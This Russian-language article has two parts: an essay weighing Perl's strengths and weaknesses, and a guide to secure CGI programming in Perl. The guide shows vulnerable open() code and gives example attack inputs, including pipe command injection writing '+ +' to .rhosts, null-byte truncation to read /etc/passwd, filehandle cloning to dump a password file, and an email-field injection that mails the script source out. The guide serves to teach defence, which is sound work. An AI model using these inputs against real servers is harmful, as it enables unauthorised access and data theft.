Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?

WEB-programming

A:Perl – за и против

Язык Perl используется миллионами людей по всему миру. В чем секрет его притягательности? Уж, конечно, не в бесплатности - бесплатных реализаций других языков – пруд пруди, но почему-то выбирают именно Perl; не в легкости освоения – Бейскик или Питон освоить не в пример проще; не в переносимости – у Perl-а с нею далеко не безоблачно; наконец, было бы откровенным хвастовством говорить о необычной мощности языка – Perl заметно слабее Лиспа, Модулы, Оберона и обгоняет только такие языки как Си и Паскаль. Так в чем же все-таки дело?

Часть первая. Философская: размышления о языке

Как бы там ни было, но Perl популярен, а Лисп, Питон и Оберон – нет. Почему? Попробуем разобраться. Для начала нелишне вспомнить популярную поговорку программистов шестидесятых – "важен не язык, на котором вы программируете, а мысли, которые вы этим языком выражаете". В то же время: "выбирая язык, вы выбираете себе судьбу". Ну, если не судьбу, то образ мышления – точно!

Любой язык, неважно компьютерный или нет, прежде всего – квинтэссенция духа своей эпохи. В лице Perl сочетаются свобода движения "Открытых исходных текстов" с противостоянием монополизму Microsoft. Сам же Perl представляет собой создание синтетическое, заимствующие лучшие идеи из десятков языков: форматы вывода были скопированы из Бейсика, динамические контексты подарил Лисп, ассоциативные массивы пришли из awk, а за основу синтаксиса составил Си.

В Perl-е нет внутреннего единства, целостности и архитектурной законченности, – мне он напоминает нору хомяка с надерганными отовсюду горами разной всячины, безо всякой сортировки лежащими на полу. Листинги Perl-программ совершенно нечитабельны и понятны разве что их создателями, а всем остальным в них разобраться ой как не просто! Всюду – нагромождение скобок, прямых и обратных слешей, спецсимволов и никаких следов структуры!

Факт, что такой язык многим приходится по вкусу, наводит на размышления. Структурность – годится для машин, а для людей она бесполезна. Человеческим мыслям свойственна запутанность, сумбурность и… индивидуальность. Речь каждого из нас отличается от речи остальных. Стиль программирования также уникален как почерк, если только… если только язык допускает выражение уникальности. А Perl не только допускает, но и провоцирует ее – ведь в нем и множество умолчаний, и богатый выбор синтаксических конструкций на все случае жизни, и… да все, что угодно! Одна и та же мысль может быть выражена множеством способов - программисту остается лишь выбрать какому из них отдать предпочтение (и ведь каждый предпочитает что-то свое). Язык перестает сковывать разум, он просто не ощущается, как хорошо подогнанный костюм – было бы что сказать, а как сказать – это уже не проблема!

Можно провести аналогию: Perl – это рабочий жаргон толпы, а Ада, Модула, Оберон – литературные изыски классиков. Да, Пушкин и Гоголь в высшей степени структурны и последовательны, но какова этому цена? Помните школьные сочинения? Вот-вот… Вероятно, даже классики не говорили в реальной жизни "правильным" (с литературной точки зрения) языком. Это ж сплошное насилие над мыслью получается!

Если материка сгорела, винт гикнуля, а Windows опять зависла, мы так и говорим: "материнка сгорела, винт гикнулся…", а не выжимаем из себя по капле, с трудом подбирая слова: "материнская плата необратимо вышла из строя, на жестком диске образовалось множество нечитабельных секторов, а операционная система Microsoft Windows вызвала необрабатываемое исключение и…". Вы смеетесь, а ведь многие языки, скажем, та же Ада, именно так и издевается над программистами! Напротив, в Perl – "что думаю, то пишу".

Многие сравнивают Perl с Макдональсом, называя его языком быстрого программирования. А в наш бурный век скорость – весьма существенный фактор, и популярность Макдональсов это как нельзя лучше подтверждает. Девиз всех заказчиков – "здесь и сейчас, вынь и положь". И Perl это позволяет! То, над чем Си-программист сидел бы целый день, на Perl можно написать, порой, меньше, чем за час! Качество работы, правда, в большинстве случаев оставляет желать лучшего, но – это синица в руке, а не журавль в небе.

С философской точки зрения нельзя однозначно сказать: хорош ли Perl или плох. Точно так, нельзя адекватного оценить IBM PC. Оно, конечно, понятно, - никакой это не шедевр инженерной мысли, но… на ней работают миллионы! И Perl, и IBM PC – продукты для толпы, для непридирчивого пользователя. От них воротят нос гурманы, но со своими задачами они сполна справляются, – стоит ли тогда удивляться их популярности?

Часть вторая. Техническая: недостатки Perl

Исторические корни языка Perl тесно сплетаются с командными оболочками UNIX. Командные оболочки всем хорошо знакомы на примере , – рудименту, сохранившемуся со времен MS-DOS. Приблизительно такими же оболочками когда-то управлялась и UNIX. Вот только командный язык у последних был не в пример богаче, да и возможностей побольше, но суть та же – вместо графического интерфейса утомительная набивка однотипных команд.

Пытаясь облегчить собственную участь, юниксоиды активно использовали макросы и скрипты, перекладывая часть своей работы на компьютер. Увы, возможности языков оболочек были огранены, да к тому же несовместимы друг с другом. Энтузиасты создавали собственные языки, более удобные и мощные, но где они сейчас? Канули в вечность… Только Perl-у удалось завоевать известность, да и то в совершенно другой области – разработке cgi-скриптов.

А на это Perl не был рассчитан! Не то, чтобы он совсем не подходил для такой цели - для создания cgi-приложения можно использовать любой язык, способный читать и отправлять данные в стандартный поток ввода-вывода, например, Си, Паскаль, Бейсик... да все, что угодно, в том числе и Perl. Но между локальными и серверными приложениями есть одна принципиальная разница. Первые исполняются самим владельцем машины, который не станет сознательно причинять ей вред, а вторые обслуживают запросы клиентов со всех концов сети. В сети же в изобилии водятся злоумышленники, получающие удовольствие от нанесения чужому компьютеру тяжких информационных повреждений.

Серверные приложения должны быть спроектированы с учетом всех требований безопасности – никакой запрос клиента не должен приносить ущерба машине. Добиться этого вовсе не так просто, как кажется! Психологическая инерция, т.е. подсознательное откидывание всего, не вписывающегося в жизненный опыт, не позволяет создателю защиты обнаружить все дыры, – можно в упор рассматривать дыру, но не осознавать, что это дыра. Вспомнить хотя бы печально известную Троянскую Лошадь – никому и в голову придти не могло, что она – не подарок вовсе, а смертоносное оружие!

Или вот другой случай – рассказывают (врут, конечно): некогда известный микробиолог Роберт Кох что-то кипятил в стеклянной колбе, плотно окутанной изрыгаемым ею паром. Вошедший в лабораторию ассистент поинтересовался: что тут за дела творятся? "Угадай", – предложил Кох, - "что находится в колбе?". Ассистент битый час а, может быть, и целый день перечислял все известные ему микробы, но тщетно. "Это же сосиски!" – наконец воскликнул Кох. Теоретически варить сосиски в колбе вполне возможно, но практически ее используют совсем в иных целях, и у ассистента сложилась прочная ассоциация "колба" – "бактерии", мешающая сделать очевидное логическое умозаключение.

Человеку свойственно ошибаться, а программисту – особенно. Идеалом разработчика серверных приложений был бы такой язык, который делает только то, что ему прикажут, и никогда не позволяет себе самодеятельности. Причем, если приказ программиста не очень хорошо понят, язык не должен пытаться угадать, что же от него хотят, – ведь он может угадать неправильно! Попутно, не мешало бы ужесточить контроль над самим программистом, исключив возможность большинства ошибок на уровне архитектуры языка. Эх,.. мечты, мечты…

В этом смысле Perl – какой-то мазохистский выбор, честное слово! Неукрощенный зверь с хитрыми повадками и очень своенравным поведением, - скажешь ему "купи картошки", а он ее не только купит, но и почистит, и даже суп сварит! Конкретный пример – функция открытия файла может не только открывать, но и запускать его, клонировать дескрипторы, создавать псевдонимы – стоит только указать в имени файла специально на то предназначенные символы.

Фундаментальная проблема Perl – необходимость постоянной фильтрации всех данных, принимаемых извне. Фильтр должен уметь распознавать и корректно "выкусывать" все потенциально опасные символы, и, если будет пропущен хотя бы один из них, хакер сможет воспользоваться этим для вторжения в систему. В общем, вместо того, чтобы облегчить ношу программиста Perl, напротив, добавляет ему забот!

Второй фундаментальный недостаток – Perl, как и любой другой интерпретируемый язык, не показывает чудес производительности и порядком нагружает процессор сервера. Компиляция "на лету", т.е. при первом запуске программы, частично справляется только с проблемой производительности, но значительно увеличивает нагрузку на процессор. Шквал запросов к какому-нибудь "прожорливому" скрипту – эффективная атака на отказ в обслуживании, и дешевой защиты против нее нет! Узким местом, ограничивающим количество одновременно обрабатываемых клиентов, чаше всего оказывается отнюдь не "толщина" Интернет - канала, а перегруженность процессора, замученного выполнением Perl-скриптов. Вот компилируемые Си\Си++ в этой ситуации ведут себя куда лучше!

Третий минус – поддержка ООП (объективно - ориентированного программирования) у Perl-а находится в состоянии глубокого зачатья. В смысле: она-то есть, но кастрированная до безобразия! Нет, это не плохо само по себе, - нельзя же в самом деле везде и всюду насаждать идеологию ООП, – процедурные языки не в меньшей мере имеют право на существование! Но в сложных проектах отсутствие ООП - объективный минус, дающий о себе знать множеством трудноуловимых ошибок, неожиданно всплывающих в самых непредсказуемых местах.

Да какое там ООП, когда Perl не поддерживает даже типизации переменных! А это развращает программиста и увеличивает вероятность появления ошибок, которые не так-то просто выловить и распознать!

Нет, сказанное вовсе не означает, что Perl плох! Но знание его недостатков никому не помешает, - не стоить строить иллюзий: уж чего-чего, а недостатков у Perl-а хватает. Да у кого их нет?

Часть третья. Риторическая: а есть ли выбор?

…продуктовый магазин времен застоя. Продавщица спрашивает покупателя, в задумчивости изучающего витрину с колбасами: "Вы что брать будете?". "А что есть?" – интересуется тот. "Только Докторская". "Ну.., давайте".

Диспутировать о выборе в отсутствии альтернативы – смешно. А есть ли альтернатива Perl-у? Не торопитесь отвечать. Да, есть и существуют множество других языков, например, уже упоминавшиеся выше Си, Паскаль и Питон, но… Си печально знаменит своими проблемами переполнения буфера и остается небезопасным даже в руках опытных разработчиков. Паскаль? Неплохой выбор, но много ли существует кросс-платформенных компиляторов Паскаля? Ведь не всякий сервер "крутится" под Wintel, чаще используется различные диалекты UNIX и Intel-несовместимые платформы. Переносимость же Паскалевских программ близка к нулю, а кому понравится адоптировать (читай – резать по живому) уже написанные, отлаженные и обкатанные программы?

Неплохой кандидатурой выглядит интерпретируемый Питон, но на многих ли серверах он установлен? Во многих ли книгах он описан? Большинство о нем никогда в жизни не слышало!

Каким бы плохим или хорошим не был Perl, - он стал неотъемлемой частью компьютерной индустрии. Накопив "критическую массу" он вызвал цепную реакцию – теперь новички выбирают Perl не из-за его достоинств, а потому что "сейчас все программируют на Perl"! Человек, да не в обиду будет сказано, в силу своего "обезьяньего" происхождения – существо коллективное, стадное. Куда все – туда и я.

Парадокс, но олицетворяющий собой свободу Perl, мало в чем отличается от монополизма Microsoft, не оставляющей всем нам никакого выбора.

A:Безопасное программирование на языке Perl

Введение

Когда для решения поставленной задачи возможностей "голого" HTML оказывается недостаточно, приходится прибегать к вызову внешних программ, взаимодействующих с web-сервером через cgi-интерфейс. Такие программы могут быть написаны на любом языке, хоть на Бейсике, но исторически сложилось так, что в подавляющем большинстве случаев для их разработки используется Perl.

Это лаконичный, немногословный, мощный и в то же время легкий в освоении язык, реализованный практически на всех существующих платформах и операционных системах. Он выгодно отличается от Си отсутствием характерных для последнего проблем переполнения буферов. Однако, несмотря на все свои достоинства, с точки зрения безопасности Perl – едва ли не худший выбор.

Изначально Perl предназначался для разработки средств управления и мониторинга многоуровневых сетей – локальных приложений, нетребовательных к защищенности. Неудивительно, что создатели Perl сочли удобство эксплуатации более приоритетным, чем обеспечение безопасности. Типичный пример: вызов open может не только открывать файл, но и запускать его, если в имени присутствует символ конвейера. Излишняя гибкость и самостоятельность языка заметно ускоряют программирование, но создают проблемы при написании серверных приложений, обязанных не допустить выполнение любых действий, явно не санкционированных разработчиком.

Никогда нельзя быть уверенным, что все клиенты будут использовать программу "как нужно", а не "как можно". Помимо непреднамеренных ошибок пользователей, большую угрозу представляют злоумышленники, пытающиеся найти такие запросы, обработка которых причинила бы урон серверу.

Проблема усугубляется тем, что большинство скриптов разрабатываются непрофессионалами, порой только-только осваивающих Perl. Неудивительно, что при этом практически всегда допускаются ошибки, приводящие к уязвимости скрипта. На сегодняшний день качественный скрипт – скорее исключение, чем правило. Ошибки нередко обнаруживаются и в профессиональных (вернее, претендующих на это звание) продуктах. Все скрипты Мэта Райта, приведенные в его книге "CGI/Perl", и получившие в результате этого большую распространенность, некорректно фильтруют ввод пользователя, допуская тем самым возможность атаки на сервер.

Создание безопасных серверных приложений представляет серьезную проблему, решению которой и посвящена настоящая глава. (см. так же "Техника сетевых атак" Криса Касперски)

Источник угрозы

Можно выделить три основных угрозы, связанных с использованием любых cgi-скриптов, не обязательно написанных именно на Perl.

  • несанкционированное получение прав пользователя (суперпользователя) на удаленной машине;

  • несанкционированная модификация динамически генерируемой страницы путем включения собственных тегов;

  • перегрузка сервера интенсивной работой cgi-скриптов, вплоть до ееего полной неработоспособности.

Большинство web-серверов, работающих под управлением UNIX-подобных операционных систем, обладают привилегиями суперпользователя, без которых сервер не сможет открыть необходимый ему восьмидесятый порт. Некоторые web-сервера обслуживают клиентов через нестандартный 8000 или 8080 порт и, в принципе, могут довольствоваться правами непривилегированного пользователя. Однако, ввиду определенных неудобств, такой механизм применяется достаточно редко.

ОС семейства Windows не накладывают никаких ограничений на обработку входящих TCP-соединений и позволяют открывать восьмидесятый порт даже прикладному коду, запущенному с гостевыми правами. Тем не менее, распространенные web-серверы под Windows NT\2000 требуют для своей работы наивысших привилегий.

По соображениям безопасности многие (но не все!) серверы позволяют понижать привилегий потока, обслуживающего web-клиента, до специального пользователя (как правило, nobody или www), а программа cgiwarp (автор Nathan Neulinger) позволяет запускать cgi-скрипты с правами их владельца (по умолчанию скрипты исполняются от имени и с привилегиями web-сервера).

Ошибка в скрипте может привести к несанкционированному получению прав пользователя на удаленной машине, а в некоторых (между прочим, достаточно частых) случаях и привилегий администратора!

Обладая правами пользователя, злоумышленник может модифицировать web-страницы, получатьет доступ к секретной информации (например, номерам кредитных карт покупателей, паролям посетителей сайта, файлам протоколов и т.д.), и способен использовать сервер в качестве полигона для атаки на другой узел и делать еще много других пакостей. А уж с привилегиями администратора…

Вторая категория ошибок связна с динамической генерацией интерактивных web-страниц. Их можно разделить на две категории: страницы, доступные только тому пользователю для которого они были сгенерированы страница и страницы, доступные множеству пользователей. Примером первых может служить результат работы поисковых машин, вторых – чаты и гостевые книги.

В большинстве случаев страница, динамически сгенерированная в ответ на запрос пользователя, содержит и сам запрос. А это открывает возможность использования HTML-тегов, наибольшую опасность из которых представляют директивы SSI (Server Side Include – включения на стороне сервера), поскольку они позволяют включать в страницу содержимое другого файла, значение переменной окружения, результат работы вызванной программы и т.д.

Страницы, доступные всем пользователям, подвержены и другой угрозе – созданию фальшивых полей ввода (как правило, требующих ввода своего пароля или номера кредитной карты), передающих свое содержимое злоумышленнику. Другая "дыра" – возможность разместить вредоносный Java (Perl и VisualBasic) скрипт, зацикливающий браузер посетителя или открывающий у него множество окон размером миллион на миллион пикселей. В общем, возможностей много…. автоматическое перенаправление клиентов на свою станицу или сайт баннерного спонсора, похищение у них локальных файлов через "дыры" в Internet Explorer и Netscape Navigator и т.д.

Наконец, любой, даже корректно написанный скрипт, требует для своей работы значительных процессорных ресурсов. Шквал запросов, инициируемый злоумышленником, представляет собой эффективную атаку "отказа в обслуживании", особенно если скрипт интенсивно работает с файловой системой и\или неэкономно расходует память. Увеличить выносливость сервера можно переходом на компилируемые языки, установкой более быстрого процессора или же отказом от использования скриптов везде, где это возможно.

Таким образом, размещение скрипта на сервере всегда таит в себе некоторую опасность и создает угрозу для его благополучия.

Проблемы администрирования

Чем рискует администратор, разрешая клиентам выполнение собственных cgi-скриптов? Если web-сервер исполняет их не с правами root, то ничем, за исключением предоставления прав пользователя владельцем скриптов (и потенциального предоставления этого права злоумышленникам, обнаружившим уязвимость скрипта).

Пользователь может сотворить много нехорошего даже с хорошо защищенной системой. В лучшем случае использовать ее для массовой рассылки корреспонденции (в просторечии спама) или для атак на другие узлы. Особенно это актуально для служб бесплатного хостинга, не имеющих возможности проверить подлинность данных, сообщенных клиентом при регистрации. Это позволяет злоумышленнику не только оставаться анонимным, но и противостоять закрытию его аккаунта, т.к. ничего не стоит повторно зарегистрироватьсярегистрируясь под другим именем.

Для предотвращения подобных атак администраторам бесплатных ресурсов настоятельно рекомендуется установить межсетевые экраны, запрещающие установку исходящих соединений. Однако, такое решение ограничит и легальных клиентов, вызывая их отток к провайдеру, не оснащенному подобной защитой.

В UNIX-системах любой, даже непривилегированный, пользователь имеет доступ ко многим секретным файлам сервера, манипуляции с которыми потенциально способны нанести ущерб системе. Например, файл "/etc/passwd" доступен для чтения всем пользователям этого сервера, и, если администратор забыл "затенить" пароли, злоумышленник сможет в относительно короткое время их подобрать. (К счастью, во всех системах кроме LINUX пароли "затенены" изначально и других там просто нет). ОС Windows NT\2000 в этом отношении защищена значительно лучше, но все же имеет ряд слабых мест, например, допускает просмотр профилей безопасности до ввода пароля (профили же среди прочей информации хранят историю паролей, с целью предотвращения их повторного использования; да, это старые, уже недействительные пароли, но они раскрывают стратегию выбора пароля – используются ли случайные комбинации символов, словарные слова, клички любимых хомячков, чем невероятно облегчают проникновение в систему).

Проблем при предоставлении web – хостинга без права выполнения собственных скриптов намного меньше: сервер обслуживает пользователей самостоятельно, а операционная система об их существовании даже и не подозревает. Чтобы отличить "нормальных" пользователей, от клиентов, обслуживаемых сервером, последних часто называют псевдопользователями.

Псевдопользователи не имеют никаких прав и полномочий доступа к файлам, кроме явно разрешенных сервером. Они могут исполнять уже находящиеся на сервере скрипты, но создавать свои не в состоянии. Большинство администраторов предоставляет в распоряжение псевдопользователей некоторое количество типовых скриптов, как то: счетчики, гостевые книги, доски объявлений и т.д.

С точки зрения безопасности это довольно рискованный ход, - ошибка скрипта может запросто дать WEB-клиенту права непривилегированного пользователя, а то и администратора!

Практика показывает – ошибки в широко распространенных скриптах скорее закономерность, чем непредвиденная случайность. Любой скрипт, даже полученный от профессиональных программистов, а уж тем более созданный любителем и свободно распространяемый по сети (а именно такие и пользуются наибольшей популярностью), должен быть тщательнейшим образом проверен перед его помещением на сервер.

Типовые ошибки и способы их устранения

Несмотря на свое многообразие ошибки разработчиков легко разделить на четные категории:

  • передача ввода пользователя внешним программам или штатным функциям без надлежащей фильтрации;

  • оформление компонентов приложения в виде самостоятельного скрипта, допускающего непосредственный вызов удаленным пользователем;

  • помещение секретных данных в файл, доступный псевдопользователям

  • использование переменных окружения для ответственных целей

Все эти пункты подробно рассмотрены ниже.

Отсутствие фильтрации

Ошибки фильтрации пользовательского ввода (или полное отсутствие фильтрации, как таковой) – характеры в первую очередь для Perl, штатные функции которого слишком вольно интерпретируют переданные им аргументы и допускают множество умолчаний. К примеру, программист хочет открыть и вывести на экран запрошенный пользователем файл и создает код наподобие следующего:

open(f,$filename);

while(<f>)

{

print;

}

Ошибки очевидны: во-первых, злоумышленник может получить содержимое любого файла системы, доступного скрипту, передав запрос наподобие "/etc/passwd", а, во-вторых, указав в имени файла символ конвейера ("|"), он сможет запустить любое доступное скрипту приложение и увидеть в браузере результат его работы (например, "echo "+ +" >/.rhosts" позволит подключиться по протоколу rlogin без ввода пароля).

Но не всякая уязвимость так очевидна! Попробуйте найти ошибку в следующей реализации того же примера, усиленного принудительным добавлением расширения ".html" к имени открываемого файла:

open(f,$filename.".html");

while(<f>)

{

print;

}

На первый взгляд, злоумышленник не сможет ни открыть, ни запустить никакие другие файлы, кроме HTML. Но это не так! Дело в том, что ядро Perl не трактует символ нуля как конец строки и обрабатывает его точно так, как и все остальные символы. В то же время, компоненты Perl-а, написанные на Си, интерпретируют ноль как конец строки! Таким образом, для обхода защиты достаточно передать строку, содержащую на конце "\0" (например, "/etc/passwsd\0")! Помимо этого, функция open допускает возможность одновременного запуска множества файлов, - передача строки "|calc.exe|sol.exe|freecell.exe|" приведет к запуску приложений "Калькулятор", "Пасьянс Косынка" и "Пасьянс Свободная ячейка", независимо от того {<<< убрать "?"}будет ли добавлено в конце расширение ".html" или нет.

Даже "open(f, "/home/www/pages/".$filename."html")" не уберегает от использования нескольких символов конвейера, и тем более не предотвращает обращения к вышележащим каталогам, хотя на первый взгляд такая защита может показаться неприступной.

Решение проблемы заключается в фильтрации данных – удалении из ввода пользователя всех потенциально опасных символов или выдачи сообщения об ошибке при их обнаружении. Таких символов довольно много и все они (что очень неприятно) специфичны для каждой функции. Например, у open опасны следующие символы и их комбинации:

  • ">",">>" и "+>" открытие файла для записи, дозаписи и перезаписи соответственно

  • "+<" открытие файла для записи и чтения

  • "|" и "`" запуск программы

  • "-" чтение со стандартного ввода

  • "&" обращение к файловому дескриптору (handle)

  • ".." и "/" – обращение к вышележащим каталогам

  • "\0" – задание конца строки

О возможности обращения к файлу по его дескриптору следует сказать особо. Пусть существует некоторый секретный файл (например, файл паролей или номеров кредитных карт), который открывается в начале работы программы, а затем на экран выводится содержимое файла, запрошенного пользователем, до закрытия секретного файла. Если злоумышленнику доступен исходный тест скрипта или хотя бы приблизительно известны манеры его разработчика, он сможет прочитать секретный файл с помощью самой программы, передав вместо имени его дескриптор! Для чего достаточно воспользоваться клонированием "x&filehandle" или созданием псевдонимов "x&=filehandle", где "x" обозначает режим доступа – "<" для чтения и ">" для записи. Следующий пример как раз и демонстрирует эту уязвимость.

open (psw,"passwd") || die; #открытие файла паролей

#...некоторый код...

print "введите имя файла:" #запрос имени отображаемого файла

$filename=<>; chop $filename;

if ($filename eq "passwd") #проверка имени на корректность

{print "Hello,Hacker!\n";die;}

open(f,$filename) || die; #вывод файла на экран

while(<f>)

{

print;

}

Если злоумышленник введет "<&=psw" или "<&psw", в окне собственного браузера он увидит содержимое файла паролей!

Аналогичным путем можно ознакомится и содержимым лексемы DATA, доступной через одноименный дескриптор и очень часто содержащей информацию, не для посторонних глаз. (Замечание: не все реализации Perl позволяют клонировать манипулятор DATA, и, в общем-то, они и не должны этого делать, но пренебрегать такой угрозой не стоит).

Много трудностей и непонимания вызывает интерполяция строк, заключенных в двойные кавычки. Язык Perl может автоматически подставлять вместо имени переменной ее содержимое, а вместо имени функции – возвращенный ею результат. Последняя возможность считается особо опасной, т.к. на первый взгляд позволяет злоумышленнику вызывать любые команды Perl и даже выполнять внешние программы с помощью функций exec, eval и многих других. Практически все руководства по написанию скриптов настоятельно рекомендуют фильтровать символы "@", "$", "[]", "{}", "()", и разработчики (даже опытные!) в большинстве своем послушно следуют этому требованию!

На самом деле никакой опасности нет – интерполяция строк выполняется только в текстах программ и никогда в значениях переменных. Наглядно продемонстрировать это утверждение позволяет следующий пример (предполагается, что во втором случае с клавиатуры вводится : "${\(print '>Hello')}"; наклонным шрифтом выделен вывод программы на экран):

$filename="${\(print '>Hello')}"; $filename=<>;

print "$filename"; print "$filename";

>Hello1 ${\(print '>Hello')}

Замены имени функции на результат ее работы в пользовательском вводе не произошло! Независимо от того, заключена ли введенная строка в двойные кавычки или нет, она всегда отображается на экране такой, какая есть, без каких бы то ни было преобразований. Фильтровать символы интерполяции не нужно – их использование злоумышленником не возымеет никакого эффекта! Тем более, что "собака" является неотъемлемой частью адреса электронной почты и отказ от нее просто невозможен.

Так же напрасны опасения относительно обратной кавычки – "`". В документации по языку Perl сказано, что строка, заключенная в обратные кавычки, интерпретируется как команда операционной системы, которой она и передаются на выполнение. Да, это действительно так, но только по отношению к строкам текста программы, а не содержимому скалярных переменных. Т.е. конструкция "$a=`type /etc/passwd`;" занесет в переменную $a содержимое файла "/etc/passwd", но "$a=<>;" никогда не приведет к подобному результату – чтобы ни ввел пользователь, Поэтому, символ обратной кавычки никакой угрозы не несет и совершенно ни к чему его фильтровать.

Гораздо больше проблем связано с вызовом внешних программ, работающих с данными, введенными пользователем. Заведомо невозможно узнать - какие символы потенциально опасны, а какие нет. Большинство приложений помимо документированных функций имеют множество недокументированных особенностей или хуже того – ошибок реализации.

Никогда нельзя быть абсолютно уверенным, что ваш почтовый агент не воспримет вполне легальный адрес назначения как собственный ключ или управляющее сообщение. Даже если отмахнутся от подобных экзотических угроз, составление списка фильтруемых символов по-прежнему будет представлять проблему, т.к. из документации не всегда бывает ясно как поведет себя приложение, встретив ту или иную комбинацию символов. Помимо явно опасного перенаправления ввода-вывода, вызова конвейера, использования символов-джокеров, символов-разделителей и переноса строк, иногда приходится сталкиваться с такими неожиданными "подлостями" как, например, возможность автоматического развертывания UUE-сообщений.

Лучше всего – полностью отказаться от вызова внешних программ, реализуя все необходимое самостоятельно. Ту же процедуру отправки писем не сложно выполнить и средствами самого языка Perl, без каких либо обращений к SendMail-у или другому МТА, и файлы на диске искать не вызовом grep, а собственноручно написанным модулем. Усложнение программы компенсируется увеличением ее надежности и безопасности.

Очень важно понимать, что фильтрацию ввода нужно осуществлять только на серверной, но ни в коем случае только на клиентской стороне! Часто эту операцию поручают Java-апплетам, а то и вовсе Java-скриптам, не подумав, что они могут быть модифицированы или блокированы злоумышленником, поскольку исполняются на его собственной машине и не существует никакого способа отличить запрос, посланный Java-скриптом от запроса, посланного самими злоумышленников в обход скрипта. Java может быть полезна лишь для быстрого уведомления клиента об ошибке ввода, но не более того!

Техника фильтрации

Существует два подхода к фильтрации пользовательского ввода:

а) выдача сообщения об ошибке и прекращение работы, если обнаружен хотя бы один опасный символ;

б) "выкусывание" всех таких символов без выдачи предупредительных сообщений и продолжение работы.

Последний подход неоправданно популярен вопреки логике и здравому смыслу. Почему? Пусть, например, адрес легального посетителя выглядит так: "horn&hoff@mail.org" Программа фильтрации "видит" потенциально опасный символ "&" и "на всякий случай" решает его удалить, - в результате письмо направляется совсем по другому адресу, а пользователь "ждет у моря погоды", не понимая почему оно до него не дошло.

Если встретился опасный символ – независимо от того, умышленно он вставлен или нет, – использовать такие данные нельзя. Скрипт обязан прекратить работу и объяснить причину своего неудовольствия пользователю.

Поиск заданного перечня символов легче всего осуществляется использованием регулярных выражений, например, так:

if ($filename =~/[<>\|\-&\.\\\/\0]/)

{die "Ошибка ввода! Недопустиый символ \"$&\" \n";}

open(fh, $filename);

...

Перечень потенциально опасных символов зависит от конкретного случая, – создание универсального фильтра "на все случаи жизни" невозможно.

Например, при добавлении новой записи в гостевую книгу разумно выполнить проверку на предмет присутствия "нехороших" тегов, но не стоит запрещать посетителям использовать теги вообще. В то же время, передавая e-mail посетителя внешнему МТА, необходимо убедится в отсутствии символов перенаправления стандартного ввода (синтаксически неотличимых от угловых скобок, обрамляющих тэги), иначе злоумышленник сможет ввести нечто вроде "hacker2000@hotmail.com; mail hacker2000@hotmail.com </www/cgi-bin/mycgi.pl" и получить исходный текст скрипта (или любого другого файла) "с доставкой на дом"!

Поиск уязвимых мест в скриптах значительно облегчает механизм меченных данных (tainted data). Если запустить Perl с ключом "-T", он станет требовать явной инициализации или фильтрации всех скалярных переменных, передаваемых функциям eval, system, exec и некоторым другим, потенциально опасным с его точки зрения. Любые переменные, полученные извне (стандартный поток ввода, командная строка, переменные окружения и т.д.), считаются "зараженными" и не могут быть переданы "опасным" функциям до тех пор, пока не будут "обеззаражены" фильтром регулярных выражений. Если одна "зараженная" переменная присваивается другой – та тоже становится "зараженной"!

Но Perl не проверяет корректности фильтрации символов, допуская даже сквозную фильтрацию – "(.*)", и не считает опасной функцию print (как, впрочем, и многие другие). Конструкция "$a=<>; print $a" не вызывает нареканий со стороны Perl, а ведь переменная $a может содержать нехорошие тэги и вызовы SSI!

Механизм меченных данных, во всяком случае, его реализация в языке Perl, – не панацея! И расслабляться программистам не стоит. "Зараженный режим" разумно использовать как дополнительное средство самоконтроля, но если он не нашел никаких ошибок, это еще не дает оснований считать, что их там действительно нет. Сказанное относится и к ключу "-w", заставляющего Perl выполнять дополнительные проверки, "ругаться" при попытке чтения неинициализированных переменных, попытке модификации файловых манипуляторов и т.д., – если это и усилит безопасность программы, то на самую малость.

Уязвимость самостоятельных модулей

Редкое приложение состоит всего лишь из одного скрипта. Программная оснастка даже скромного сайта представляет собой десятки модулей, связанных друг с другом сложной иерархической зависимостью. Это порождает, по крайней мере, две проблемы: отсутствие контроля входных данных в служебных скриптах и возможность обхода системы авторизации.

Например, посетитель вводит в форму "Search" свой запрос, браузер извлекает его и передает поисковому скрипту, который отыскав файл документа с таким содержанием, передает его имя другому скрипту, предназначенному для его отображения.

Разработчик, предполагая, что второй скрипт всегда будет вызываться только первым, может и не предпринять никаких усилий по фильтрации ввода второго скрипта. Но ведь ничто не мешает злоумышленнику непосредственно вызывать этот скрипт самому, передав ему имя любого файла, который он хочет посмотреть (например, "/etc/passwd"), а не только *.html!

Любые данные, принимаемые любой программой извне, должны быть проверены! Необходимо убедиться в том, что запрошенный файл пользователю действительно можно смотреть. Этого не так-то просто добиться, как может показаться на первый взгляд – проверка запроса на соответствие именам запрещенных файлов ничего не решает – злоумышленник может запросить и базу данных клиентов сервера, и содержимое интересующего его скрипта, и т.д., – всего не перечислишь! Ограничение области видимости текущей директорией – так же не приводит к желаемому результату, во всяком случае, без фильтрации символов обращения к вышележащим каталогам.

Надежнее всего передавать не имя отображаемого файла, а его номер в списке доступных для просмотра файлов. Существенные недостатки такого решения – сложность скрипта и необходимость постоянной коррекции списка доступных файлов при всяком добавлении или удалении новых документов на сервере.

Некоторые приемы позволяют избежать этих утомительных проверок. Например, пусть служебный скрипт принимает в качестве дополнительного параметра пароль, известный только вызываемому коду (и, разумеется, самому владельцу сайта). Тогда фильтрацию ввода необходимо осуществлять только в модулях, непосредственно взаимодействующих с пользователем, а во всех остальных можно опустить. При отсутствии ошибок реализации, связанных с обработкой и хранением пароля, злоумышленник не сможет непосредственно исполнить ни один служебный скрипт, если конечно, не сумеет подобрать пароль, чему легко противостоять (перебор даже пятисимвольного пароля по протоколу HTTP займет очень-очень много времени).

Такой подход снимает и другую проблему, – возможность обхода подсистемы авторизации "ручным" вызовом нужного скрипта. В сети нередко встречаются почтовые системы, работающие по следующему алгоритму: "входной" скрипт проверяет имя и пароль пользователя и, если они верны, передает одно лишь имя пользователя (без пароля!) другому скрипту, непосредственно работающему с почтовым ящиком. Злоумышленник, вызвав последний скрипт напрямую, получит доступ к корреспонденции любого пользователя! Удивительно, но подобная ошибка встречается и в некоторых Интернет-магазинах: скрипту, осуществляющему покупку, передают не полную информацию о пользователе (номер кредитной карты, адрес и т.д.), а идентификатор, по которому этот скрипт и получает все эти сведения из базы данных, хранящейся на сервере. Если идентификатор представляет небольшое предсказуемое число (как часто и бывает), злоумышленник сможет заказать товар от имени любого из постоянных покупателей магазина.

